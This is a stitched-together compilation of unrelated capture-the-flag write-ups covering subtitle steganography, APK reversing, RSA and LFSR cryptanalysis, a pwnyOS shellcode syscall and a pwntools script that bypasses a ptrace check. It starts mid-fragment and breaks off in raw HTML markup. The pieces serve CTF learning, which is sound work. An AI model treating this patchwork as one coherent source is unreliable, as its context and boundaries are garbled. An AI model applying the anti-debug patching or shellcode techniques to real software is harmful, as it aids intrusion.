We should obtain the srt stream. For example, we can use `mkvtoolnx`: ```.\mkvextract.exe "..\..\OP2.mkv" tracks 4:subs.srt``` ```00000000 ef bb bf 31 0d 0a 30 31 3a 33 33 3a 33 37 2c 30 |1..01:33:37,0|00000010 30 30 20 2d 2d 3e 20 30 31 3a 33 33 3a 33 37 2c |00 --> 01:33:37,|00000020 30 31 30 0d 0a 4c 61 62 65 6c 20 69 6e 66 6f 0d |010..Label info.|00000030 0a 0d 0a 0d 0a 16 0f 0d 0a 04 15 07 1c 0d 0a 10 |................|00000040 18 06 13 0d 0a 0d 0a |.......|``` Original file was:```00000000 31 0a 30 31 3a 33 33 3a 33 37 2c 30 30 20 2d 2d |1.01:33:37,00 --|00000010 3e 20 30 31 3a 33 33 3a 33 37 2c 30 31 0a 4c 61 |> 01:33:37,01.La|00000020 62 65 6c 20 69 6e 66 6f 0a 0a 16 0f 0a 04 15 07 |bel info........|00000030 1c 0d 10 18 06 13 00 1a 10 16 13 00 09 06 19 1e |................|``` The flag was hide in the end of original subtitles. Right decrypted data by SUB 0xA1 https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')SUB(%7B'option':'Decimal','string':'161'%7D)&input=MzEgMEEgMzAgMzEgM0EgMzMgMzMgM0EgMzMgMzcgMkMgMzAgMzAgMjAgMkQgMkQKM0UgMjAgMzAgMzEgM0EgMzMgMzMgM0EgMzMgMzcgMkMgMzAgMzEgMEEgNEMgNjEKNjIgNjUgNkMgMjAgNjkgNkUgNjYgNkYgMEEgMEEgMTYgMEYgMEEgMDQgMTUgMDcKMUMgMEQgMTAgMTggMDYgMTMgMDAgMUEgMTAgMTYgMTMgMDAgMDkgMDYgMTkgMUUK Broken: https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')SUB(%7B'option':'Decimal','string':'161'%7D)&input=RUYgQkIgQkYgMzEgMEQgMEEgMzAgMzEgM0EgMzMgMzMgM0EgMzMgMzcgMkMgMzAKMzAgMzAgMjAgMkQgMkQgM0UgMjAgMzAgMzEgM0EgMzMgMzMgM0EgMzMgMzcgMkMKMzAgMzEgMzAgMEQgMEEgNEMgNjEgNjIgNjUgNkMgMjAgNjkgNkUgNjYgNkYgMEQKMEEgMEQgMEEgMEQgMEEgMTYgMEYgMEQgMEEgMDQgMTUgMDcgMUMgMEQgMEEgMTAKMTggMDYgMTMgMEQgMEEgMEQgMEEK This way task cannot be solved.
No captcha required for preview. Please, do not write just a link to original writeup here.[](https://noob-atbash.github.io/CTF-writeups/cyberwar/crypto/chal-1)
### NOTEThis task can be solved differently, via the Frida plugin for IdaPro. But we solved this task by another way. ### Step 1Read description and download apk file from site. ### Step 2 We use the *d2j-dex2jar* utility to turn the apk into a jar. ![step2](https://raw.githubusercontent.com/delvinru/writeup/master/1.png) Open this file in the *jd-gui* program and check the source code. You may notice that there is a tab with a similar task name. After a little study, you can see in the file *LoginDataSource.class* that a certain *dev.keekledev* file is being created. Remember this. ![step2_1](https://raw.githubusercontent.com/delvinru/writeup/master/2.png) Next, we study the file *LoginDataController.class* and we understand that AES encryption is used with the key ***ponyponyponypony***. ![step_2_2](https://raw.githubusercontent.com/delvinru/writeup/master/3.png) ### Step 3 We use the *apktool* app to unpack our apk. ![step_3_1](https://raw.githubusercontent.com/delvinru/writeup/master/4.png) Since it became clear from the previous step that a certain file is being created with a name that contains *dev*, we will find it using the *find* utility. ![step_3_2](https://raw.githubusercontent.com/delvinru/writeup/master/5.png) We get **AES** ciphered message: ***441A65DEFFEFC5A3B3F4A83ED6A9EA463D7782E23D516226A5CFC8477757D46F023A8E39FF4BCE61C6F883B202728978***. Use *cyberchef* or another tools for decrypt this message with key and get flag: **unictf{h0p370u-d1D'tu53-fR33d4}** ![step_3_3](https://raw.githubusercontent.com/delvinru/writeup/master/6.png)
# Three Ravens Writeup ### Crypto CTF 2020 - Crypto 90 - 52 solves > There were [three](./three_ravens_6779f709c7700ec542f26dcecbc8d23e6f6d7044.txz) ravens sat on a tree, Downe a downe, hay downe, a downe, They were as black as they might be. #### Encryption Logic Multiprime rsa using 512 bit primes `p`, `q`, `r`, `p + q + r`, using public exponent `e = 0x10001` and public modulus `N = p * q * r * (p + q + r)`. `N` and `p + q + r` was given #### Exploit Use public modulus as `p + q + r`. I can derive private key `d` since `p + q + r` is prime: `d = inverse_mod(e, p + q + r - 1)`. Luckily this works because message size is lower than size of `p + q + r`. I get flag: ```CCTF{tH3_thr3E_r4V3n5_ThRe3_cR0w5}``` Exploit code: [solve.sage](solve.sage) with [config.py](config.py)
# Mafia >The CTF Mafia wants to remove the competition (i.e.you) to again have monopoly over flags. Bribe the Mafia to get away unscathed and with the flag.>>nc chall.csivit.com 30721 # Problem from prob.pdfProblem Statement: To bribe the Mafia, you need a lot of money. You can borrow only from one of your 300 friends (numbered 1 to 300) who have 1 to 1000000(both inclusive) bucks, so you want to borrow money from the friend with the most cash. However, your friends are pretty annoying and only tell you whether they have greater(G), lesser(L) or equal(E) money to a given value. You can ask a maximum 1000 questions (even less are ok) of the form 1 (friend_number) (value). And finally input the maximum amount of money you can borrow in the form 2 (max_money). Examples: • 1 15 3007 This question asks whether the 15th friend has more, less or equal money to 3007 bucks. • 2 2000 This indicates that the friend with the maximum money has 2000 bucks. Note: • Asking more than 1000 questions will end program instantly. • Entering invalid question or final input will end program instantly. • Keep friend_number between 1 and 300(both inclusive) and keep value between 1 and 1000000(both inclusive). # Solution My solution was to ask every single one of the 300 people if they have greater, less, or equal money than the average of the min and max possible money. If there are some people that say greater, everyone else that said less are forgotten and aren't interrogated again. The min is moved up to the guess, and a new guess is created, which is the number between the min and the max. If everyone said less (hopefully not, as that is highly unlikely in the first iteration) the max is moved to the guess, and a new guess is generated. This continues until there is one person left and that person says he has exactly that amount of money. (E) I made a proof script to see if this algorithm will actually work in practice. ```pythonf = 300 # friendsq = 1000 # questionsmax = 1000000 # max cashi = 2cash = 0 while f > 0: q -= f f = f // 2 cash += max / i i *= 2 print("Ratio of max to cash:", max/cash)print("Questions remaining after interogation:", q)``` ```$ py proof.pyRatio of max to cash: 1.0019569471624266Questions remaining after interogation: 404``` Assuming that half of the friends still remaining are removed after each interrogation, there should be an average of 404 questions remaining, which is really good. This solution doesn't work 100% of the time, it might have been better to make random guess between the min and the max, instead of take the average. This doesn't work when the max money is a very small number, because then this algorithm runs out of questions very quickly. But it works if the max is bigger than half the max, because the guesses are usually a lot better. ```Investigating friend 291... 491 questions remaining.b'E'b'E'Moving downward!Win!Friend #: 291, Max money: 712787[*] Switching to interactive modeCongratulations you guessed it right, here is the reward: csictf{y0u_ar5_t8e_k!ng_0f_rAnd0mne55}[*] Got EOF while reading in interactive$``` Overall, very fun challenge! This probably was my favorite challenge for this entire CTF! I would like to thank the organizers for hosting an amazing CTF! All the challenges were very good, and overall I learned a lot! Thank you for hosting this ctf! Flag: `csictf{y0u_ar5_t8e_k!ng_0f_rAnd0mne55}`
# Amsterdam Writeup ### Crypto CTF 2020 - Crypto 55 - 96 solves > Is it normal to have such [encoding](./amsterdam_9e529fa12c74f176f23ca19ea4d9aa5fe2e98e6e.txz)? #### Encryption logic Flag was encoded to bit contained list, and encoded again by adding binomai coefficients. #### Exploit Write `decode()` function which simply reverses encryption logic. Used sage for faster calculation of binomials. I get flag: ```CCTF{With_Re3p3ct_for_Sch4lkwijk_dec3nt_Encoding!}``` Exploit code: [solve.sage](solve.sage) with [config.py](config.py)
## Whats_A_Syscall? - 100 points - 67 solves >Syscall 14 is known as "SANDBOX_SPECIAL"... I wonder if that would be useful here.>>You'll be stuck in a never ending loop of binexec until you perform syscall 14.>>To learn about syscalls and how they work in pwnyOS, check out the documentation!>>System Calls in pwnyOS: >https://github.com/sigpwny/pwnyOS-2020-docs/blob/master/Syscalls.pdf>>Author: ravi We are stuck in a loop of a program called “binexec”. We just need to type in some hex-encoded shellcode. ![](https://github.com/matdaneth/uiuctf-writeups/blob/master/Images/time_to_start/kernel3.PNG?raw=true) One problem. I don’t know anything about shellcode. So, we need to find a better solution than writing and compiling some code from scratch. We turn to the docs for some help. In the binexec section of the docs, we see that they have provided an example shellcode script, that calls syscall 6, SYS_ALERT. ![](https://github.com/matdaneth/uiuctf-writeups/blob/master/Images/time_to_start/kernel4.PNG?raw=true) So, we look at the hex that was generated from this assembly code, copied from the screenshot that was provided: >b8 a0 c0 04 08 8d 1d 15 00 00 00 01 c3 b8 __06__ 00 00 00 cd 80 c3 48 65 6c 6c 6f 2c 20 62 69 6e 65 78 65 63 00 We notice that in the hex, we see that there is a section that reads “06”(bolded above). This must have been generated by the part in the assembly code that called syscall number 6. So, to call syscall 14(SANDBOX_SPECIAL) instead, we can change the “06” to a “0e”, hex for 14. We can now enter this code: b8 a0 c0 04 08 8d 1d 15 00 00 00 01 c3 b8 0e 00 00 00 cd 80 c3 48 65 6c 6c 6f 2c 20 62 69 6e 65 78 65 63 00 We can now use our AutoHotKey script that we made for the challenge “Showcase” in order to send our code into the VM. ![](https://github.com/matdaneth/uiuctf-writeups/blob/master/Images/time_to_start/kernel5.PNG?raw=true) Now, we type “done” and press enter. We get greeted with a screen with a flag and instructions for the next step. (Which we unfortunately couldn’t solve. Well, so much for solving the challenge with no knowledge of shellcode.) ![](https://github.com/matdaneth/uiuctf-writeups/blob/master/Images/time_to_start/kernel6.PNG?raw=true) Flag: *uiuctf{5ysc4ll_g4ng_sysc4ll_g4ng}*
### ProblemWe are given the following encryption code: ```from Crypto.Util.number import getRandomIntegerfrom secret import flag class LFSR: def __init__(self, size, salt, invert): assert(size == 17 or size == 25) self.size = size self.register = ((salt >> 3) << 4) + 8 + (salt & 0x7) self.taps = [0, 14] if size == 25: self.taps += [3, 4] self.invert = 1 if invert == True else 0 def clock(self): output = reduce(lambda x, y: x ^ y, [(self.register >> i) & 1 for i in self.taps]) self.register = (self.register >> 1) + (output << (self.size - 1)) output ^= self.invert return output def encryptData(key, data): assert(key < 2**40) data = data.decode("hex") lfsr17 = LFSR(17, key >> 24, True) lfsr25 = LFSR(25, key & 0xffffff, False) keystream = 0 for i in range(len(data) * 8): keystream <<= 1 keystream |= lfsr17.clock() ^ lfsr25.clock() pt = int(data.encode("hex"), 16) ct = ("%x"%(pt ^ keystream)).rjust(len(data) * 2, "0") return ct def decryptData(key, ct): return encryptData(key, ct) disc_data = "The flag is: %s"%flag keylen = 5key = getRandomInteger(keylen * 8) ct = encryptData(key, disc_data.encode("hex"))assert(decryptData(key, ct).decode("hex") == disc_data) with open("enc_data.txt", "w") as f: f.write(ct)```And ciphertext:```1b4eb59dce68c7d5173871ff3211a35bc8d089147c0c4c0f7cdf1b9489d4a640ee173557778095d84d0cd344e213100f2923e8ea96```#### Brief explanation of the code:- Key is generated as a random integer (up to 40 bits)- First 16 bits is used as salt for a 17-bit LFSR (bit 1 is added at position 4)- Last 24 bits is used as salt for a 25-bit LFSR (bit 1 is added at position 4)- For each round of clocking, 2 bits from specific positions of LFSR are xored. The output is then prepended to the LFSR register (as MSB) and LSB of register is discarded- Encryption is simply done by xoring the output of LFSR with plaintext at bitwise level.### SolutionWe know that the plaintext begins with "The flag is: " (104 bits), so we can do a known plaintext attack (KPA) by bruteforcing the 16-bit salt:- From the 16-bit salt, we generate the output of lfsr17- Xoring the first 25 bits of the output with the first 25 bits of the plaintext and ciphertext gives us the first 25-bit output of lfsr25- The first 25-bit output of lfsr25 is also the bits of the register after 25 rounds of clocking. So we can use this to generate the rest of the output and continue the decryption. If the result matches the rest of the known plaintext then the 16-bit salt is correct and we use this to decrypt the rest of the ciphertext.(It might be possible to bruteforce less bits but this is already enough to solve the challenge) Solver code:```from Crypto.Util.number import getRandomInteger, long_to_bytesfrom functools import reduce enc = '1b4eb59dce68c7d5173871ff3211a35bc8d089147c0c4c0f7cdf1b9489d4a640ee173557778095d84d0cd344e213100f2923e8ea96'enc = bin(int(enc, 16))[2:].zfill(len(enc) * 4) kpt = 'The flag is: 'kpt = ''.join(bin(ord(x))[2:].zfill(8) for x in kpt) class LFSR: def __init__(self, size, salt, invert, register = 0): assert(size == 17 or size == 25) self.size = size if register != 0: self.register = register else: self.register = ((salt >> 3) << 4) + 8 + (salt & 0x7) self.taps = [0, 14] if size == 25: self.taps += [3, 4] self.invert = 1 if invert == True else 0 def clock(self): output = reduce(lambda x, y: x ^ y, [(self.register >> i) & 1 for i in self.taps]) self.register = (self.register >> 1) + (output << (self.size - 1)) output ^= self.invert return output LEN1 = 17LEN2 = 25 def find_reg2(lfsr17): reg2 = '' for i in range(LEN2): reg2 += str(lfsr17.clock() ^ int(kpt[i]) ^ int(enc[i])) return int(reg2[::-1], 2) def brute(salt1): lfsr17 = LFSR(17, salt1, True) reg2 = find_reg2(lfsr17) lfsr25 = LFSR(25, 0, False, reg2) pt = kpt[:25] for i in range(LEN2, len(enc)): x = lfsr17.clock() ^ lfsr25.clock() ^ int(enc[i]) if i < len(kpt) and x != int(kpt[i]): return False, None pt += str(x) return True, pt for salt1 in range(1 << 16): found, pt = brute(salt1) if found: print('[+] Found: ', pt) print(long_to_bytes(int(pt, 2)))```Output:```[+] Found: 0101010001101000011001010010000001100110011011000110000101100111001000000110100101110011001110100010000001010011010000110101010001000110011110110111001000110011011011010011001101101101011000100011001101110010010111110011011101101000001101000011011101011111010011000100011001010011010100100101111100110001001101010101111101110010001100110111011100110001011011100110010000110011011100100011010001100010001100010011001101111101b'The flag is: SCTF{r3m3mb3r_7h47_LFSR_15_r3w1nd3r4b13}'```
**Official writeup** tl;dr * Find the co-relation between variables in the LFSR equation + d == out (75%) + a == b (75%) + c^d == out (75%) + (d!= out) => (c==1) always* Solve for the seed using 2000 output bits* Try out which among the possible combinations decrypt the flag Link to writeup: <https://blog.bi0s.in/2020/08/02/Crypto/LFSR/InCTFi-20-FaultyLFSR/> Author: [ph03n1x](https://twitter.com/MeenakshiSL1)
## Decent RSA ### Challenge > RSA can be decent as well! > **Note** Although this task is very decent and solvable with focusing on the module number, you may use any tools, guessing, or whatever you know to solve it! ### Solution TD;DR - See that when written in base 11, the modulus is mainly zeros- Write the modulus as a polynomial in base 11 and factor the polynomial- Solve RSA All we are given is a RSA public key```-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA/Ug8rlEPci1UXMsT+UDoy8DfxbTHX/3BK2oU+FPWiJf+EiUBM2x4ep04qZ1SO9Pmqj/WH9skMrF1J/LXuY3lfjvJCh0DXa9VUyX2dAJidja9Ior7GpFwwjYdKh+OETNV+2/CcX4RiPvj+8ApmedWgn4Fxaeivki+f/UwDa+ws1fTUzmI325v8yvcryHhbgeUWiF85EP6HFAavTsVPlxbLikVMAB1fuzDbqqJvW2u138w6b2FH3WrezYF6tbAyZej2HX46phwDm9C7MXYJ/sUoS+E8P7S1jMTCWjfwMCOKU3SFGrkWtXuTaoMZ2nZ+HVfJV8xJOjWez1OxQ5P3F1wGQIDAQAB-----END PUBLIC KEY-----```and some encrypted data. From the `.pem` we get```Algo RSAFormat X.509ASN1 DumpRSA Public Key [21:5d:61:5d:7e:ef:d0:58:12:d0:dc:14:bd:7c:e1:69:eb:77:01:f0]modulus: fd483cae510f722d545ccb13f940e8cbc0dfc5b4c75ffdc12b6a14f853d68897fe122501336c787a9d38a99d523bd3e6aa3fd61fdb2432b17527f2d7b98de57e3bc90a1d035daf555325f67402627636bd228afb1a9170c2361d2a1f8e113355fb6fc2717e1188fbe3fbc02999e756827e05c5a7a2be48be7ff5300dafb0b357d3533988df6e6ff32bdcaf21e16e07945a217ce443fa1c501abd3b153e5c5b2e29153000757eecc36eaa89bd6daed77f30e9bd851f75ab7b3605ead6c0c997a3d875f8ea98700e6f42ecc5d827fb14a12f84f0fed2d633130968dfc0c08e294dd2146ae45ad5ee4daa0c6769d9f8755f255f3124e8d67b3d4ec50e4fdc5d7019public exponent: 10001```where the modulus is some `2048` bit integer. As we are given a `X.509` key, esrever suggested looking at a database of [predictable RSA keys](https://github.com/g0tmi1k/debian-ssh), which contains 30k public keys which were insecure. We downloaded these and looked for a common factor between our common modulus and one of these known, weak keys. We didnt have any luck though. Another idea was that maybe this would be solved with Fermat factorisation, with "Decent RSA" being a pun for the infinite decent method. I let the algorithm run for a while but eventually killed it. The solution came from looking at the modulus in various bases. My initial hope was that the primes might be Mersenne primes, which would be exposed by looking at the modulus in base 2, but it turns our the right base for the solve is base 11. ```pysage: N.str(base=11)'10010000000000000000000000000000020000000000010000000000000000000000000000000000000000000002002000002000000000000000020020004000000000002000000000004040000000000020000000002000000000000000000400000000000000000000000004000000000000000000000800000000000000000000000408000000000000000200000004000000600200000000000000000000000000000400000000000200000000000000000000000000000040000000000000080000000040400000000000000800000000000000000000000000000080000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000008'``` We can then write `N` as a polynomial in the following way ```sage: poly = sum(e * x^i for i,e in enumerate(N.digits(11)))sage: polyx^592 + x^589 + 2*x^559 + x^547 + 2*x^501 + 2*x^498 + 2*x^492 + 2*x^475 + 2*x^472 + 4*x^468 + 2*x^456 + 4*x^444 + 4*x^442 + 2*x^430 + 2*x^420 + 4*x^401 + 4*x^375 + 8*x^353 + 4*x^329 + 8*x^327 + 2*x^311 + 4*x^303 + 6*x^296 + 2*x^293 + 4*x^263 + 2*x^251 + 4*x^220 + 8*x^205 + 4*x^196 + 4*x^194 + 8*x^179 + 8*x^148 + 4*x^124 + 4*x^15 + 8``` Which sage very quickly can factor ```sage: poly.factor()(x^296 + x^293 + 2*x^263 + x^251 + 2*x^196 + 4*x^148 + 2*x^124 + 2*x^15 + 4)*(x^296 + 2*x^205 + 2*x^179 + 2)``` Setting `x = 11` will return the primes `p*q = N`, solving the challenge. ### Implementation ```pyfrom Crypto.PublicKey import RSAfrom Crypto.Util.number import long_to_bytes, bytes_to_long flag = bytes_to_long(open("flag.enc","rb").read())key = RSA.import_key(open("mykey.pem").read())n = Integer(key.n) poly = sum(e * x^i for i,e in enumerate(Integer(key.n).digits(11)))(p, _), (q, _) = poly.factor_list()p, q = p(x=11), q(x=11)assert p*q == n d = inverse_mod(key.e, (p-1)*(q-1))print(long_to_bytes(pow(flag, d, n)))``` ### Flag `CCTF{___RSA___1n_D3cEn7_W0rLd_cRyPtO5!!!}`
## ANDROID ## Type: RE/Android ## Files: [reverse.apk](reverse.apk) ## Solution:First thing I did was unpack application and look what we have here.```apktool d reverse.apk```Looks quite simplistic, no native libs, no 3rd party frameworks etc. Lets try loading it with Bytecode Viever. Immediately we see that something is not right. **ő.class**```javapackage com.google.ctf.sandbox; import android.app.Activity;import android.os.Bundle;import android.widget.Button;import android.widget.EditText;import android.widget.TextView;import com.google.ctf.sandbox.ő.1; public class ő extends Activity { long[] class; int ő; long[] ő; public ő() { throw new RuntimeException("d2j fail translate: java.lang.NullPointerException\n\tat java.base/java.lang.String.rangeCheck(String.java:298)\n\tat java.base/java.lang.String.<init>(String.java:294)\n\tat org.a.a.t.e(Unknown Source)\n\tat com.googlecode.d2j.converter.IR2JConverter.toInternal(Unknown Source)\n\tat com.googlecode.d2j.converter.IR2JConverter.reBuildTryCatchBlocks(Unknown Source)\n\tat com.googlecode.d2j.converter.IR2JConverter.convert(Unknown Source)\n\tat com.googlecode.d2j.dex.Dex2jar$2.ir2j(Unknown Source)\n\tat com.googlecode.d2j.dex.Dex2Asm.convertCode(Unknown Source)\n\tat com.googlecode.d2j.dex.ExDex2Asm.convertCode(Unknown Source)\n\tat com.googlecode.d2j.dex.Dex2jar$2.convertCode(Unknown Source)\n\tat com.googlecode.d2j.dex.Dex2Asm.convertMethod(Unknown Source)\n\tat com.googlecode.d2j.dex.Dex2Asm.convertClass(Unknown Source)\n\tat com.googlecode.d2j.dex.Dex2Asm.convertDex(Unknown Source)\n\tat com.googlecode.d2j.dex.Dex2jar.doTranslate(Unknown Source)\n\tat com.googlecode.d2j.dex.Dex2jar.to(Unknown Source)\n\tat com.googlecode.dex2jar.tools.Dex2jarCmd.doCommandLine(Unknown Source)\n\tat com.googlecode.dex2jar.tools.BaseCmd.doMain(Unknown Source)\n\tat com.googlecode.dex2jar.tools.Dex2jarCmd.main(Unknown Source)\n\tat the.bytecode.club.bytecodeviewer.util.Dex2Jar.dex2Jar(Dex2Jar.java:54)\n\tat the.bytecode.club.bytecodeviewer.BytecodeViewer$8.run(BytecodeViewer.java:957)\n"); } protected void onCreate(Bundle var1) { super.onCreate(var1); this.setContentView(2131034112); EditText var3 = (EditText)this.findViewById(2130968582); TextView var2 = (TextView)this.findViewById(2130968597); ((Button)this.findViewById(2130968578)).setOnClickListener(new 1(this, var3, var2)); }}``` Also we can see a function that does some DIY encoding, which we focus on later: ```javapackage com.google.ctf.sandbox; public final class R { public static long[] ő(long var0, long var2) { if (var0 == 0L) { return new long[]{0L, 1L}; } else { long[] var4 = ő(var2 % var0, var0); return new long[]{var4[1] - var2 / var0 * var4[0], var4[0]}; } }} ``` Exception description tells us that `dex2jar` is failing to translate dex bytecode, and the likely reason is here `com.googlecode.d2j.converter.IR2JConverter.reBuildTryCatchBlocks`. It seems that challenge author used some undefined behavior or bug in dex2jar implementation to obfuscate constructor of `class ő` and implementation of method `ő.onCreate`, so we have to work with smali code directly. First I tried reading it manually, considered using some existing frameworks to buid AST of smali code to translate it to more readable format. Then I had the idea that it would be much easier to just fix smali code causing `dex2jar` to throw exception, compile it, and then decompile to readable java code, and (spoiler alert) that actually worked. We already got that `dex2jar` is failing somewhere in `reBuildTryCatchBlocks`, lets look at `class ő` in smali.As we scroll through it, casually looking for try/catch, one weird thing immediately pops up: ```smaliiput v0, p0, Lcom/google/ctf/sandbox/ő;->ő:I:try_end_0.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0.catch Ljava/lang/Error; {:try_start_0 .. :try_end_0} :catch_0.catch I {:try_start_0 .. :try_end_0} :catch_1``` \* naming scheme for reference: ```boolean Zbyte Bchar Cdouble Dfloat Fint Ilong Jshort S class or interface Lclassname;``` So we can see that there is a try/catch block that tries to catch `class Exception`, `class Error` and `int`.I assume this is what causes `dex2jar` to crash as `int` is not a subcalss of `java.lang.Throwable`, thus cannot be thrown/caught. And dalvik bytecode is still fine as any possible case (except perhaps `android.os.strictmode.Violation` ?) will be covered by two previous catch blocks. ```Throwablepublic class Throwable extends Object implements Serializable java.lang.Object ↳ java.lang.Throwable Known direct subclassesError, Exception, Violation``` Other than that, we have to get rid of `ő` in the `AndroidManifest.xml` as it seems `apktool` have issues building apk with weird characters in manifest. And indeed, this fixed `dex2jar` issue and now we can see readable java code: ```javapackage com.google.ctf.sandbox; import android.app.Activity;import android.os.Bundle;import android.widget.Button;import android.widget.EditText;import android.widget.TextView;import com.google.ctf.sandbox.ő.1; public class ő extends Activity { long[] class; int ő; long[] ő; public ő() { while(true) { try { this.class = new long[]{40999019L, 2789358025L, 656272715L, 18374979L, 3237618335L, 1762529471L, 685548119L, 382114257L, 1436905469L, 2126016673L, 3318315423L, 797150821L}; this.ő = new long[12]; this.ő = 0; return; } catch (Error | Exception var2) { } } } protected void onCreate(Bundle var1) { super.onCreate(var1); this.setContentView(2131034112); EditText var3 = (EditText)this.findViewById(2130968582); TextView var2 = (TextView)this.findViewById(2130968597); ((Button)this.findViewById(2130968578)).setOnClickListener(new 1(this, var3, var2)); }}``` There is another one invalid catch block in `ő$1.smali` trying to catch `long`, lets remove that too:```smali.catch J {:try_start_0 .. :try_end_0} :catch_0``` Now that we have readable code, lets analyze it: - we have a class `ő` that has a few properties with same name (but different types, thus being legal) `long[] class; int ő; long[] ő;`- `long[] class` is set in constructor to some magic values (spoiler alert, its encoded flag).- `int ő;` and `long[] ő;` initialized to empty values, perhaps it is temporary variables. Now lets look at `ő$1.class`. At first sight it may look complex, but it is actually extremely simple once you remove all try/catch/goto trash. Lets analyse it block by block. First block of code is not much useful, it just constructs a string that is not used or referenced anywhere else. `Apparently this is not the flag. What's going on?` ```javavar2 = new Object[]{65, 112, 112, 97, 114, 101, 110, 116, 108, 121, 32, 116, 104, 105, 115, 32, 105, 115, 32, 110, 111, 116, 32, 116, 104, 101, 32, 102, 108, 97, 103, 46, 32, 87, 104, 97, 116, 39, 115, 32, 103, 111, 105, 110, 103, 32, 111, 110, 63};var15 = new StringBuilder();var3 = var2.length; for(var4 = 0; var4 < var3; ++var4) { var15.append((Character)var2[var4]);}``` Second block of code seems more useful. It is checking if input is not 48 chars long, in that case it returns. So we can assume flag is 48 char long and `var16` will be our input. ```javavar16 = this.val$editText.getText().toString();if (var16.length() != 48) { this.val$textView.setText("❌"); return;}``` Third block of code looks like actual encoding. It iterates over user input 4 char at a time and creates `long[]` array of 12 values (suspiciously similar to what we have found in class constructor)```javavar4 = 0; while(true) { if (var4 >= var16.length() / 4) { break; } this.this$0.ő[var4] = (long)(var16.charAt(var4 * 4 + 3) << 24); long[] var18 = this.this$0.ő; var18[var4] |= (long)(var16.charAt(var4 * 4 + 2) << 16); var18 = this.this$0.ő; var18[var4] |= (long)(var16.charAt(var4 * 4 + 1) << 8); var18 = this.this$0.ő; var18[var4] |= (long)var16.charAt(var4 * 4); ++var4;}``` And finally we see that it is indeed checking array of encoded user input against `this.class` which is a `long[]` of 12 magic values. ```javaő var17; var17 = this.this$0;if ((R.ő(this.this$0.ő[this.this$0.ő], 4294967296L)[0] % 4294967296L + 4294967296L) % 4294967296L != this.this$0.class[this.this$0.ő]) { this.val$textView.setText("❌"); return;} var17 = this.this$0;++var17.ő;if (this.this$0.ő >= this.this$0.ő.length) { this.val$textView.setText("?"); return;} ``` So now, we need to find all 4 char inputs that after operations in block 3 above, will be equal to each number in `long[] this.class`. We can try reverseing math, but bruteforcing each 4 char block will be much faster and easier. The solution is listed below:```javapublic class Solution{ public static long[] RZ(long var0, long var1) { if (var0 == 0L) { return new long[]{0L, 1L}; } else { long[] var4 = RZ(var1 % var0, var0); long[] mm = new long[]{var4[1] - var1 / var0 * var4[0], var4[0]}; return mm; } } public static void main(String []args){ long[] flag = new long[]{40999019L, 2789358025L, 656272715L, 18374979L, 3237618335L, 1762529471L, 685548119L, 382114257L, 1436905469L, 2126016673L, 3318315423L, 797150821L}; for (int i =0; i<12; i++){ out: for (char a0=32; a0<=128; a0++){ for (char a1=32; a1<=128; a1++){ for (char a2=32; a2<=128; a2++){ for (char a3=32; a3<=128; a3++){ long s = (long)(a3 << 24); s |= (long)(a2 << 16); s |= (long)(a1 << 8); s |= (long)(a0); long[] x = RZ(s, 4294967296L); if ((x[0]% 4294967296L + 4294967296L) % 4294967296L == flag[i]){ System.out.print("" + a0 + a1 + a2 + a3); break out; } } } } } } }}``` ```$ javac Solution.java && java SolutionCTF{y0u_c4n_k3ep_y0u?_m4gic_1_h4Ue_laser_b3ams!} ```Done.
# Poseidon CTF ## The Large Cherries Upon running the binary, we get this : ```./Lao-Tzu Enter the secret for the magic word``` And if we enter the wrong password, it gets background. Also trying the debug using gdb gives us a `No tracing message` ![no trace](Pictures/no_tracing.png) Also, if we check in Cutter the functions list, we see that there is a ptrace function in the binary, which prevents us from debugging it. Disassembly of the main function shows the following things : ![main](Pictures/cherry_main_disass.png) 1) The string for the first check is taken from the function called `magic_word`.2) Then in the function called `magic_word` it goes through a series of checks3) If we reverse engineer all the checks, the authors name comes as the first password ```t0m7r00z``` Upon giving this as the input to the server we get the following : ``` nc poseidonchalls.westeurope.cloudapp.azure.com 9003Enter the secret for the magic word: t0m7r00zEnter the thing that's in my mind``` In the second part there is a function called `Strcmp` which does the following : ```ulong Strcmp(long param_1) { int local_10; int local_c; local_c = 0; local_10 = 0; while (local_10 < 10) { local_c = local_c + *(char *)(param_1 + local_10); local_10 = local_10 + 1; } return (ulong)(local_c == 0x294);}``` 1) The loop runs till the length of the string (10).2) On each iteration it adds to the previous value.3) At the end, it checks if the value is equal to 0x294 In order to debug the binary, you need to bypass the ptrace check, change the `jns 0xbd9` to `jmp 0xbd9` so that it jumps under all conditions.Also create a file `/home/ctf/magic_word.txt` so that it doesn't segfault while degbugging locally. The sum with which it is checked is the sum of the characters of the first password. So the second one cannot be the first password. So if we enter the `t0m7r00z\x00\x01` as our second password : 1) The first check is done for the first 8 character2) The second check is done for 10 character 3) Therefore enter null character at the 9th position and 0x1 at the 10th I wrote the following script to debug and get my flag ```from pwn import * context.terminal = ['urxvt','-e','sh','-c']context.log_level = 'DEBUG'#for local#sh = gdb.debug("./Lao-Tzu")#for remotesh = remote("poseidonchalls.westeurope.cloudapp.azure.com", 9003)sh.sendlineafter("Enter the secret for the magic word: ","t0m7r00z")s = b"t0m7r00z\x00\x01"sh.sendlineafter("Enter the thing that's in my mind: ",s)sh.interactive()``` ![flag](Pictures/warmup_flag.png)
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" 